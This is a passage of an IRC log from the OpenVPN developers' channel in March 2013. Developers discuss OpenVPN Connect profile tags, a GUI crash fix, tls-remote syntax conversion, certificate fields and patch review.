think the openvpn connect link has a different syntax for specifying username 06:21 <@plaisthos> soemthing like # OVPN_ACCESS_SERVER_USERNAME=test 06:23 <@cron2> plaisthos: is this your extention? or can the generic code do that? 06:24 <@plaisthos> cron2: It is my extension 06:24 <@cron2> nice 06:24 <@cron2> just checked as, it will do: 06:24 <@plaisthos> but is not in openvpn code 06:24 <@cron2> # Note: this configuration is user-locked to the username below 06:24 <@cron2> # OVPN_ACCESS_SERVER_USERNAME=ov-test 06:25 <@plaisthos> cron2: But it is parsed only when importing a configuration file. 06:26 <@plaisthos> I could write a patch that allows auth-user-pass as inline in OpenVPN itself 06:26 <@cron2> "only at import" is propably good enough on iOS or Android... dunno about the AS client on Windows 06:26 <@cron2> (no idea whether there *is* an AS client or how it looks like) 06:26 <@plaisthos> maybe I should also parse OVPN_ACCESS_SERVER_USERNAME and OVPN_ACCESS_FRIENDLY_NAME 06:27 <@cron2> what is FRIENDLY? 06:27 <@plaisthos> the name your profile gets when being imported into openvpn connect 06:27 <@cron2> oh? 06:27 * cron2 learns new things every day :-) 06:28 <@plaisthos> see? I saw more than enoguh configuration files ;) 06:28 <@cron2> the single AS profile I have doesn't have OVPN_ACCESS_FRIENDLY_NAME... :-o 06:29 <@plaisthos> :) 06:31 <@plaisthos> cron2: just get a test account from privatetunnel ;D 06:32 <@cron2> if I had time... *sigh*... there's a couple outstanding patches and trac tickets, d12fk's stuff to review, ... 06:32 <@plaisthos> heh 06:35 <@d12fk> plaisthos: then let's do it like the AS does it 06:35 <@d12fk> i'll put OVPN_ACCESS_SERVER_USERNAME and OVPN_ACCESS_FRIENDLY_NAME in the config then 06:36 <@plaisthos> d12fk: yeah. I will put that on my todo list to implement in next version 06:37 <@plaisthos> there is also OVPN_ACCESS_AUTOLOGIN 06:37 <@plaisthos> but I am not sure what that really does 06:39 <@plaisthos> # OVPN_ACCESS_SERVER_AUTOLOGIN=1 06:40 <@cron2> autologin is usually "no questions asked, no challenges, no password" 06:40 <@cron2> but I'm not sure why it would need to be there, as it's sort of clear from the other options 06:41 <@d12fk> i'll support these as well then 06:42 <@d12fk> at least the first two 06:43 <@plaisthos> ovpn3 source code: 06:43 <@plaisthos> // External PKI profiles from AS don't declare auth-user-pass, 06:43 <@plaisthos> // and we have no way of knowing if they are autologin unless 06:43 <@plaisthos> // we examine their cert, which requires accessing the system-level 06:43 <@plaisthos> // cert store on the client. For now, we are going to assume 06:43 <@plaisthos> // that External PKI profiles from the AS are always userlogin, 06:43 <@plaisthos> // unless explicitly overriden by AUTOLOGIN above. 06:43 <@plaisthos> which does not make it clearer to me 06:48 <@d12fk> another thing i noticed is that chrome for android doesn't like downloads from utm user portal. had to use firefox to get the profiles. i assume this has to do with the way we deliver the data 06:48 <@d12fk> there's always stuff like this in the way when you just want to quick-add support for s.th. 06:49 <@cron2> d12fk: chrome for android is completely borked if you need HTTP authentication to get to the download files 06:50 <@cron2> "it just does not do that" 06:52 <@plaisthos> yes 06:52 <@d12fk> no it's a form based login with session cookie 06:52 <@plaisthos> there is no passing from creditionals from chrome/android default browser to the download app 06:53 <@d12fk> download of static files works, it's just the dynamically reated ones that never end 06:54 <@plaisthos> also normal downloads from sites with basic auth or cookie requirement seem to be broken 06:54 <@cron2> yep 06:56 <@plaisthos> mailing the ovpn profile to people should work though 07:08 <@plaisthos> d12fk: on my device the app store also shows the new version 07:13 <@d12fk> pekster, ecrist: i think i found what might causeing the crashes while adding debug output 07:14 <@d12fk> will put up a broken debugging version that verifies this 07:20 <@d12fk> http://people.astaro.com/hhund/openvpn-gui.exe 07:21 <@d12fk> in the same folder the regular log file is, the should now be another one *.gui.log with additional debug lines 07:23 <@ecrist> sweet 07:27 <@d12fk> it's a bit biggish because i link ossl statically 07:41 <@d12fk> what timezone is pekster in? 07:46 <@ecrist> he's ~5 miles from me 07:46 <@ecrist> CST 08:19 <@ecrist> it would be nice if openvpn handled ospf/rip/bgp a bit more cleanly 08:19 <@ecrist> I thought topology subnet work work, but not so 08:33 <@plaisthos> grrml 08:33 <@plaisthos> always check last minute changes 09:09 <@cron2> ecrist: it can't (in client-server mode) 09:10 <@cron2> the server has no way to know which network to route where, unless it actively takes part in OSPF/RIP routing - in p2p mode, it will work 09:10 <@ecrist> cron2: any idea what this error means: 09:10 <@ecrist> OSPF: Socket error on tun0: Operation not permitted 09:10 <@ecrist> we switched to p2p mode 09:12 <@cron2> ecrist: no idea what the software is trying to do 09:12 <@ecrist> grr 09:12 <@cron2> maybe it's trying to enable multicast-ish stuff without enough permissions 09:12 <@ecrist> and the vpn tunnel restarts every 5 minutes 09:12 <@ecrist> it's trying to do multicast, but it's running as root 09:13 <@cron2> OTOH, there is no multicast on a p2p interface anyway... so maybe you need to tell ospfd that this is a point-to-point interface 09:13 <@cron2> afk, sorry 09:13 <+pekster> d12fk: I'm now armed with coffee and I'll drop in that replacement GUI 09:16 <@ecrist> gah, it seems that error comes when openvpn restarts 09:17 <@ecrist> maybe due to a different file descriptor for device tun0 09:26 <+pekster> d12fk: Here's the GUI log from a crash: http://paste.kde.org/684974/ (the openvpn log is effectively the same as you saw yesterday: http://paste.kde.org/684980/ ) 09:33 <@ecrist> I'm running into another weird issue. with a p2p tunnel, it works fine for 4 or 5 minutes, then all of a sudden a whole bunch of packets start coming from the tunnel IP of the remote end trying to communicate with the public IP of this end, which get blocked by the firewall. why would the remote end, 172.26.26.1 try to talk to the other end's public IP? 09:40 <+pekster> Tunneled packets? 10:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:59 -!- raidz_away is now known as raidz 11:23 <@ecrist> krzee: fwiw, we're setting up OSPF across redundant hosts to a remote network with failover. :D 11:23 <@d12fk> pekster: excellent, it crashed right were expected 11:23 <+krzee> i do that 11:23 <+krzee> just no CARP 11:32 <@ecrist> CARP allows us to put a single router address for the LAN 11:34 <+krzee> i made vpns over each link (setfib 1 openvpn <conf>) 11:34 <+krzee> then i had bird route the lans over them 11:35 <@ecrist> that's what we're doing, but our LAN client machines need a default gateway 11:35 <@ecrist> we set that to the carp interface 11:35 <+krzee> ahh ya im not failing over for default gateway 11:36 <+krzee> i do allow certain machines to route through fib 1, but only when they choose to 11:40 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn-devel 11:41 <@d12fk> fixed gui here: http://people.astaro.com/hhund/openvpn-gui.exe 11:43 <@d12fk> it still logs when it would have crashed previousely, so check the *gui.log for the line "mgmt data line incomplete, breakage shall be gone" and then check if the incomplete line there is complete in the GUI status log 11:49 <@cron2> d12fk: I got an interesting "annoyance" report yesterday. If there is a syntax error in the config, it takes the GUI quite a while to notice, and then it reports "connection timeout" or something, and only looking at the log tells you that it's a syntax error... 12:35 -!- dazo is now known as dazo_afk 12:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:45 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:28 <+pekster> d12fk: The new build looks good. I restarted the gui app enough times that the old one likely would have crashed during the same testing 13:30 <+pekster> The one bit of oddness I had was the very frist time it just hung after the debug log printed "saving incomplete line <ENTER PASSWORD:>" but I can't re-create that behaviour after killing & restarting the openvpn.exe process 13:30 <+pekster> (I never got the expected key passphrase prompt that time) 13:56 <@d12fk> pekster: can you check if other incomplete lines show up correctly in the status dialog 13:57 <@d12fk> ENTER PASSWORD: is for the mgmt itf password btw. 13:58 <+pekster> Right, that much I figured. That was just the last thing the gui debug log printed before the UI apparently froze up and never gave me the passphrase box. Again, besides killing openvpn.exe that one time, I've had zero problems 13:58 <+pekster> And yea, other inocmplete lines are then completed a moment later and I do see them in the GUI status window too 13:58 <@d12fk> hm, still one time too much oddness 13:59 <+pekster> I get snippits like this: http://paste.kde.org/685100/ 13:59 <@d12fk> i'm specifically interested if there's one character missing from the continued incomplete lines 13:59 <+pekster> And that output on line 5 does correctly show up in the status output 14:00 <@d12fk> yaeh that looks as it's supposed to be 14:00 <@d12fk> afk for 5, sorry 14:00 <+pekster> No missing chars in a few spot-checks; they're character-for-character identical (minus the leading timestamp and ,I, part) 14:04 <@d12fk> back 14:05 <@d12fk> yeah wonder where the hang at the mgmt auth came from 14:07 <@d12fk> anyway i'll commit the fix for the crash thanks for testing 14:07 <+pekster> I can't even place a guess as to the cause. I mean, the ovpn config and registry settings didn't change, and the GUI wasn't running when I swapped out binaries 14:07 <+pekster> Sure, glad to help, moreso if it means I don't have to put up with the occational crash :) 14:07 <@d12fk> i'll risk a look at the code again 14:38 <@d12fk> hm still can't act on trac bugs 14:38 <@d12fk> anyone mighty please close 247 14:40 <@d12fk> pekster: about the first run that failed, you don't happen to have the debug log around still? 14:41 <+pekster> Nope, I let it get overwritten. I don't recall anything different before it hung after that first incomplete <ENTER PASSWORD:> line though 14:41 <+pekster> The GUI was still up, but wouldn't even disconnect when I pressed that button until I actually killed the openvpn.exe process 14:42 <+pekster> As soon as I did that then the connection window closed 14:42 <@d12fk> yeah then the mgmt socket is closed and the gui notices 14:43 <@d12fk> if it happens again please check the openvpn.exe command line and log file as well 14:43 <+pekster> Yea, I'll copy them both somewhere else before I kill anything if I can get it to do that 14:43 <@d12fk> either mgmt password generation failed or it prompted twice for the pwd hard to say now 14:44 <@d12fk> maybe you could try a few times to reproduce it, if it doesn't happen again i'll file it under anomality =) 14:46 <+pekster> Well, by now I've already gone through a few dozen connect/disconnect/exit GUI/launch GUI cycles 14:46 <+pekster> Unless it has something to do with the first time that 2nd debug build was run compared to the stock or first debug build, I don't know how to go about reproducing it 14:47 <@d12fk> no there's nothing special happening at first run, i'l call it a day then 14:48 <+pekster> Thanks again for hunting down the issue 14:49 <+pekster> ecrist: ^^ looks like there's a fix for the GUI crash in git master, plus a debug build that has fixed it for me if you want something sooner 14:49 <@d12fk> you heard cron2 i'm the one to fame =) 14:50 <@d12fk> i be gone then, afk 14:50 <@ecrist> d12fk: you spelled that wrong 14:50 <@ecrist> it's BLame 14:50 <@ecrist> :) 18:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:10 -!- raidz is now known as raidz_away 21:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Sat Mar 02 2013 02:25 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 02:25 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 04:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 05:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 17:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:04 -!- Netsplit *.net <-> *.split quits: jamxNL 18:09 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 19:36 <+krzee> http://xkcd.com/1172/ 19:36 <@vpnHelper> Title: xkcd: Workflow (at xkcd.com) 19:36 <+krzee> lol 20:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 21:30 -!- Netsplit *.net <-> *.split quits: @plaisthos, @vpnHelper, kisom 21:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 21:55 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:55 -!- ServerMode/#openvpn-devel [+oo plaisthos vpnHelper] by leguin.freenode.net 22:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 22:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:29 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Sun Mar 03 2013 00:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:27 <@cron2> huh 04:28 <@cron2> something is broken in cloudflare's DNS setup... my local resolver can't resolve forums.openvpn.net... 04:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 04:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 04:29 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:58 <@cron2> server's back 05:28 <@plaisthos> d12fk: next version will prefer the "friendly" name and default to using the USERNAME 08:01 -!- Netsplit *.net <-> *.split quits: jgeboski 08:02 -!- Netsplit over, joins: jgeboski 08:12 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 09:47 -!- novaflash is now known as novaflash_away 09:48 -!- novaflash_away is now known as novaflash 10:55 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 248 seconds] 11:01 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:01 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 11:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Mon Mar 04 2013 01:44 <@d12fk> plaisthos: cool 03:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:50 <@d12fk> http://people.astaro.com/hhund/openvpn-gui.exe is now free of debug log, in case you want to deploy it an the sales guy's laptop =) 04:08 <@plaisthos> d12fk: since I build a broken version for 4.1 and had update the version on the market the current version should be able to do it 04:25 <@d12fk> plaisthos: ok, will test today 08:13 <@d12fk> plaisthos: which version should include support for OVPN_ACCESS_FRIENDLY_NAME 08:14 <@d12fk> i have .35 and it doesn't seem to use it 08:16 <@plaisthos> hm 08:16 <@plaisthos> it should ... 08:16 <@plaisthos> let me check again 08:17 <@ecrist> d12fk: are the changes to openvpn gui pushed so mattock can do another build? 08:18 <@mattock> I smell work :) 08:18 <@ecrist> :) 08:21 <@d12fk> mattock: yes it's in the repo, but if you want to use it i should incremet the release 08:21 <@d12fk> mattock: in case you don't want to wait until 2.3.1 i'll bump to 3 08:23 <@plaisthos> d12fk: works for me 08:23 <@plaisthos> d12fk: How did you format the String? 08:24 <@plaisthos> it should look like this; 08:24 <@plaisthos> # OVPN_ACCESS_SERVER_FRIENDLY_NAME=Private Tunnel 08:24 <@plaisthos> single space after # 08:25 <@d12fk> # OVPN_ACCESS_FRIENDLY_NAME=admin@10.8.16.195\r\n 08:25 <@d12fk> ah there the SERVER_ is missing 08:25 <@plaisthos> :) 08:26 <@d12fk> [Fri. 01.03.2013 13:26] <plaisthos> maybe I should also parse OVPN_ACCESS_SERVER_USERNAME and OVPN_ACCESS_FRIENDLY_NAME 08:26 <@d12fk> there's the reason 08:27 * d12fk 'll report back with the fixed config 08:29 <@plaisthos> d12fk: sorry :) 08:30 <@d12fk> plaisthos: ja, works, excellent =) 08:30 <@d12fk> *_USERNAME too 08:30 <@plaisthos> d12fk: good :) 08:31 <@d12fk> now only the tls-remote chaos is left 08:31 <@d12fk> which is kind of unresolvable 08:31 <@d12fk> since the connect client doesn't parse it 08:32 <@plaisthos> d12fk: my client *should* detect the old style and offer to convert it to the style 08:33 <@d12fk> plaisthos: seems it doesn't, line in the config is: 08:34 <@d12fk> tls-remote "/C=ru/L=_xD0_x9C_xD0_xBE_xD1_x81_xD0_xBA_xD0_xB2_xD0_xB0/O=_xD0_x9C_xD0_xB8_xD0_xBA_xD0_xBE_xD1_x8F_xD0_xBD__xD0_xB8__xD0_x93_xD1_x83_xD1_x80_xD0_xB5_xD0_xB2_xD0_xB8_xD1_x87/CN=hhund_195/emailAddress=hhund@sophos.invalid" 08:34 <@d12fk> +1 for style there openssl & openvpn =P 08:35 <@d12fk> makes the zar rise from the dead... =) 08:36 <@d12fk> plaisthos: there's another commented out line containing tls-remote. does the parser get fooled by it? 08:36 <@d12fk> #tls-remote "C=ru, L=Москва, O=Микоян и Гуревич, CN=hhund_195, emailAddress=hhund@sophos.invalid" 08:36 <@d12fk> right below the old format 08:46 <+pekster> mattock: If you're doing another Windows build, any chance #260 could get fixed? Or, I could submit a 2nd "mitigating" patch to set the build vars to put back enable_debug=yes (that's not really a solution but a band-aid if #260 can't be fixed before that.) 08:47 <@plaisthos> d12fk: should not be 08:47 <@plaisthos> lemme check 08:48 <@plaisthos> d12fk: is it even possible to convert that one to the new syntax? 08:48 <@d12fk> ah right, that's the thing why it's failing, bad thinking on my side 08:49 <@plaisthos> my check if that is old format is broken as well 08:49 <@plaisthos> mResult.mRemoteCN.contains("/") && ! mResult.mRemoteCN.contains("_"); 08:49 <@d12fk> better not mess with _ as it could be contained in new ones as well 08:49 <@plaisthos> and my convert method will simply replace all / with ", " 08:50 <@d12fk> you just have to check if the first one is a / 08:50 <@plaisthos> d12fk: yes 08:50 <@d12fk> ... or apply my patchset 08:50 <@d12fk> *caugh* 08:51 <@d12fk> need to restart X, brb 08:51 <@plaisthos> d12fk: I will look into this 08:51 <@plaisthos> It will probably screw up my internal variable names 08:52 <@plaisthos> like tlsremote and tlsremoteisoldstyle 08:52 <@plaisthos> or something like that 08:53 <@plaisthos> but yeah. I will have a look at your patchset when my time allows --- Log closed Mon Mar 04 10:01:01 2013 --- Log opened Mon Mar 04 10:26:58 2013 10:26 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 10:26 -!- Irssi: #openvpn-devel: Total of 22 nicks [8 ops, 0 halfops, 3 voices, 11 normal] 10:26 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 10:26 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 10:57 <@ecrist> can I put push "redirect-gateway def1 bypass-dns" in a ccd entry? 10:58 <@cron2> sure 11:05 <@ecrist> it didn't throw errors 11:05 <@ecrist> trying to give one of my VPN users a public IP, using pf's binat to do it, don't seem to be working very well 11:07 <+pekster> Does the client also get pushed a redirect-gateway from the main config? It might just ignore the 2nd option with an error 11:17 <@ecrist> no, I don't push redirect-gateway for IPv4 in my server's main config 11:20 <+pekster> Should work fine like that then, with a binat mapping added on client-connect, or just using a pushed static IP on the VPN segment so the NAT rule can be defined statically 11:49 <@ecrist> so, I have server 172.30.0.0 255.255.255.0. in my vpn client, I don't see a route for that subnet, just a single route for it's own IP 11:52 <@ecrist> nm, I'm retarded 11:52 <+pekster> What topology? If not using subnet, --server only implicitly pushes the VPN subnet route if client-to-clienet is enabled 11:53 <+pekster> Except spelled right. Must be time for coffee #2 12:17 <@ecrist> it works now, we had to nat traffic (I didn't want to redirect gateway) 13:28 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 14:35 <+pekster> ecrist: I'm starting to re-factor openssl.cnf to make it more of a multi-feature swiss-army knife, but do you know what the 'name' attribute is used for? (OID 2.5.4.41, http://www.alvestrand.no/objectid/2.5.4.41.html .) 14:35 <@vpnHelper> Title: OID description for 2.5.4.41 - id-at-name (at www.alvestrand.no) 14:35 <+pekster> It's defined to "EasyRSA" in the current git master, but I can't figure out why one would want this or what the purpose of including it in the CN is... 14:41 <+pekster> Assuming a user even wanted the old c/st/l/o/ou/etc syntax, this just looks silly: Subject: C=US, ST=CA, L=SanFrancisco, O=Fort-Funston, OU=MyOU, CN=my-ca/name=EasyRSA/emailAddress=me@myhost.mydomain 14:41 * ecrist looks in 14:42 <@ecrist> I have no idea, pekster 14:43 <+pekster> Hm, okay. I'll do a little hunting in the openvpn code to verify my suspicion that it's not actually used for anything 14:44 <@ecrist> I don't use it for ssl-admin, and there's 5,000 plus downloads of that, nary a complaint 14:44 <+pekster> Yea, the only reason I possibly see using that is via --x509-username-field in openvpn, and if a user wants to key users off a custom field they can edit the X509 setup themselves 14:45 <+pekster> It's silly to include "EasyRSA" in the DN as a "name" value anyway 14:45 <@ecrist> I'm not opposed to supporting it, though 14:45 <+pekster> Yea, I just want to know what the use-case is so I can put a better default/description if it's kept in 14:46 <+pekster> Right now I see no value at all, and a net negative of an uglier/larger output 14:46 <@ecrist> iirc, I put "ssl-admin (OpenSSL) Generated Server Certificate" in the nsComment field 14:46 <@ecrist> yup 14:47 <+pekster> Well, I know nsCertType likely has to stick around for backwards-compat, but I'd like a switch in the config to disable the ns* stuff since use is more or less discouraged (at least that's the openssl stance.) 14:48 <+pekster> As before, I'm happy to support, or even default to that for "prettyness" if people want to open them in Windows or w/e and have an idea where the cert came from, but I also want to support omitting them easily 14:49 <+pekster> fwiw, the 2.0 master has no nsComment at all 14:49 <+pekster> Anyway, thanks for the double-check that the OID isn't used for anything you know of (I didn't think I was missing something big and obvious, but you never know) 14:50 <@ecrist> np 14:50 <+pekster> side-note: openssl uses the "name" display, but Windows (at least Vista @ home) gives me just the OID :P 14:52 <@ecrist> nice 14:53 <+pekster> (just another reason to omit it, as far as I'm concerned.) 14:54 <@ecrist> is there a forward-compat to nsCertType? 14:54 <@ecrist> does openvpn look elsewhere in the cert to enforce certificate usage? 14:55 <@ecrist> extendedKeyUsage? 14:59 <+pekster> eku, yea 15:01 <+pekster> --remote-cert-tls should replace --ns-cert-type in configs 15:02 <+pekster> Personally I use --remote-cert-eku, but I'm not as picky with my certs since they just need any "one" of the client vs server bits set to handle mitm protection properly 19:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:26 -!- raidz is now known as raidz_away 21:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Tue Mar 05 2013 00:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Log closed Tue Mar 05 00:38:49 2013 --- Log opened Wed Mar 06 07:04:43 2013 07:04 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:04 -!- Irssi: #openvpn-devel: Total of 20 nicks [8 ops, 0 halfops, 2 voices, 10 normal] 07:04 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:04 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:04 <@ecrist> morning kids 07:05 <@mattock> morning 07:05 <@ecrist> looks like one of you got the cert taken care of 07:06 <@ecrist> (I never saw any new email) 07:09 <@ecrist> we had a major-ish snow storm here the last few days, so when I got the email, I was on a ski slope. :) 07:18 <@mattock> I did, yes 07:18 <@mattock> same time next year :D 07:18 <@mattock> I forgot to send email 07:18 <@mattock> affected both community and forums 07:21 <@ecrist> oops 07:21 <@ecrist> maybe I'll setup a cron job that emails me next year 07:22 <@mattock> I should do the same 07:22 <@mattock> -> TODO 07:22 <@mattock> same with the code-signing certs we got 07:24 <@ecrist> 000012*rootecho 'Forum cert expires March 5!!!!!' | mail -s "Forum SSL Certificate" ecrist@secure-computing.net 07:25 <@ecrist> gah, the tabs didn't print well 07:25 <@ecrist> 00 00 1 2 * was what that should have said at the beginning 07:29 <@dazo> clever idea :) 07:44 <@mattock> I was thinking about some fancy "load certificate, openssl info it, parse date, mail" :P 07:47 <@ecrist> I like mine. took 30 seconds, and I don't need to worry about it for another year. 07:47 <@ecrist> though, it's not so dynamic 07:47 <@ecrist> I'm actually surprised you guys didn't have a nagios check for the servers 07:57 <@mattock> we have the snmp-based Zenoss, not sure of it's other capabilities 07:57 <@mattock> and I run local monitoring (monit) on all servers 07:57 <@ecrist> Zenoss can do non-snmp checks 07:58 <@ecrist> it uses nagios on the backend (or used to) 07:58 <@mattock> ah, I see 07:58 <@mattock> I think your low-tech method is better, as I'd need to monitor offline certificates, too (e.g. Windows code-signing certs) 07:59 <@mattock> (says the man who's spent a few full workdays writing a "simple" NSI installer for OpenVPN-GUI) :D 08:00 <@ecrist> heh 08:03 <@mattock> the good news is that I'm starting to get the hang of NSIS 08:35 <@cron2> heh, this is what I always think when I've spent a day fighting some random piece of shit software - "it hones my skills in fighting and debugging" :-) 08:50 -!- novaflash is now known as novaflash_away 09:00 -!- novaflash_away is now known as novaflash 09:32 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 250 seconds] 09:40 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 09:40 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:15 -!- raidz is now known as raidz_away 10:15 -!- raidz_away is now known as raidz 13:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:37 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:37 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:00 -!- krzie is now known as krzee 14:01 <@cron2> let's see if my superpowers still work... 14:05 <@vpnHelper> RSS Update - testtrac: fix build with automake 1.13(.1) <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=d86d577031577dfd69e5ba104e0ce1cb5192c16a> 14:10 <@cron2> dazo: you're around? 14:12 * cron2 wonders how to handle the patch from trac#172 - it's been on the list, nobody NACKed it, I already ACKed it, but what am I going to put in --author??? 14:12 <@cron2> "chris, in trac"? 14:14 <@cron2> mattock: can you see real names behind the trac user id? 14:19 * dazo looks up 14:20 <@plaisthos> cron2: trac@openvpn.net *ducks* 14:20 <@dazo> cron2: having a proper e-mail address is a good idea ... if you can get that from mattock, combining that with username is the minimum I'd say 14:21 <@dazo> (preferably full name, of course) 14:21 * dazo slaps plaisthos 14:21 <@dazo> ;-) 14:22 <@cron2> dazo: wasn't sure what our policy is here, so thanks for that - will pester mattock 14:22 <@cron2> mattock: *poke* 14:22 * dazo suspects he is far away from a computer .... send him an sms :-P 14:23 <@cron2> I'll send him an e-mail. He hates that :-) 14:24 <@cron2> since *I* hate SMS, I won't do that 14:25 <@dazo> heh :) 14:25 <@cron2> topic change: how can we move forward with the PolarSSL patches for 2.3.0? 14:26 <@dazo> I was hoping that andj and james would get those reviewed .... 14:26 <@cron2> I'll review d12fk's latest patch set (won't make it today, but "soon!"), but I also want the Polar stuff in there, and soon at that, so we can go for 2.3.1 14:26 <@dazo> as james is definitely one who can better understand that stuff 14:26 <@cron2> well, andj and james did, as far as I understand, and james wasn't happy with "user visible changes"... 14:28 <@dazo> cron2: I've looked quickly at the pkcs11 'auto' patch .... I need to check the archives, but I think this was discussed 12-18 months ago based on another patch ... and slammed down due to security issues ... but I'd need to recheck those threads and see what the arguments were at that time 14:28 <@dazo> I personally don't see the issue with that approach ... (from a usage point of view) 14:29 * dazo got a few more steps to complete at $paidWork related to a new release ... then he hopefully can get some more time to look at openvpn again 14:42 -!- dazo is now known as dazo_afk 14:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Operation timed out] 14:47 <@andj> about the polar patches: Steffan is working on a version that doesn't support 1.1 anymore, since there's a security issue there 14:47 <@andj> (giving some people their wish :p) 14:48 * plaisthos reviews the tls-remote patches 14:48 <@plaisthos> and tries to draw a convert 2.2 to 2.3 conversion diagram 15:18 <@cron2> andj: heh :-) 15:29 <@cron2> huh. patch 3/3 from d12fk claims that --tls-verify wouldn't work in a chroot environment - is that so? if yes, why? 15:32 <@plaisthos> cron2: it just took me a few minutes to understand the strcmp vs strncmp diffrence for prefix vs whole C string comparing 15:32 * cron2 is not that far down the patch yet 15:33 <@plaisthos> :) 15:33 <@cron2> ah, there, VERIFY_X509_SUBJECT_RDN_PREFIX 15:34 <@cron2> what the hell is an "RDN" btw? "DN" I know 15:34 <@plaisthos> relative distingushed name 15:34 <@cron2> ah 15:34 <@plaisthos> uid=cron2, dc=foo, dc=de 15:35 <@plaisthos> the cron2 part is the RDN 16:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 17:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:37 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 252 seconds] 17:40 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 17:40 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 19:41 -!- raidz is now known as raidz_away 21:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Thu Mar 07 2013 01:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:03 -!- dazo_afk is now known as dazo 03:21 <@d12fk> plaisthos, cron2: actually the RDN is one part of the DN, e.g. CN=cron2 03:22 